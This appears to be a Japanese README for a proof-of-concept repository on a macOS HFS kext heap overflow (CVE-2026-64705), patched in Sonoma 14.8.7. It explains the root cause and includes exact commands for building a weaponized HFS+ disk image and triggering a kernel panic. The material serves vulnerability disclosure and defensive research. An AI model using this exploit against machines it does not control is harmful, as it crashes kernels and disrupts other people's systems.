CVE-2026-64705 の根本原因分析と概念実証コード。macOS Sonoma 14.8.7 (HT127117) で修正された HFS カーネルエクステンションのバッファオーバーフローです:
HFS — 影響: アプリが予期しないシステム終了やカーネルメモリへの書き込みを 引き起こす可能性があります。バッファオーバーフローは境界チェックの改善により 対処されました。
PoC は武器化された HFS+ ディスクイメージです。これをマウントし、細工された拡張属性を
読み取ることで、HFS kext が 512 バイトのカーネルヒープバッファに対して無制限の
64 バイト bcopy ループを実行し、攻撃者が制御するディスク上のコンテンツによる
カーネルヒープオーバーフローを引き起こし、脆弱なビルドではパニックを発生させます。
クラッシュ/パニックレベル — RCE ではありません。
adds/b.hs キャリー
チェック、ゼロカウント終了、total==0 / total>expected 拒否を追加hfs_setxattr: %s has a malformed overflow extent、getxattr も同様。| ファイル | 説明 |
|---|
poc-cve-2026-64705.dmg | 武器化された 32 MB HFS+ イメージ (トリガーファイル + 細工された xattr レコード) |
weaponize.py | イメージを構築したパッチャー — イメージ自体からすべてのオフセットを再導出します。互換性のある任意のベースイメージで動作します |
parse_attr.py | xattr レコードの特定/ダンプに使用する Attributes B-tree パーサー |
BUILD.md | クリーンなベースイメージからの完全なビルド手順 + 正確な 16 進デルタ |
WRITEUP.md | 根本原因分析: kext 差分 (14.8.5 vs 14.8.7)、脆弱なループ、メカニズム |
修正前のシステム (または犠牲となる VM — カーネルがパニックします) 上で:
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # カーネルヒープオーバーフロー -> パニック
修正済みのシステムでは、同じイメージは正常にマウントされ、トリガーは新しい バリデータによって拒否されます — カーネルログで差分証明を確認できます:
hfs_getxattr: bigattr has a malformed overflow extent
これは、細工されたレコードが実行をパッチ済み (かつ以前は脆弱だった) ウォークへ 正確に導くことも確認します。
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
kHFSPlusAttrForkData として保存された大きな xattr の場合、hfs_getxattr_internal
(およびミラーリングされた hfs_setxattr_internal) はオーバーフローレコードの
8 つのエクステント記述子を走査します。count_extent_blocks() は、blockCount が
期待される合計を超える記述子をスキップし、キャリーやゼロチェックなしで
32 ビットの合計を返します。すべての blockCount が合計を超える場合、カウントは
0 になり、blkcnt は進行せず、while (blkcnt < totalblocks) ループは
totalblocks*8 バイトのヒープバッファを超えて、反復ごとに 64 バイトの
攻撃者制御データをコピーし続けます。整数ラップの亜種 (blockCount の合計が
2^32 を超える) も同じ欠落チェックです。14.8.7 のパッチは両方を修正します。
教育および防御研究目的のためです。このバグは現在の macOS では修正されています。 所有するマシンでのみテストしてください。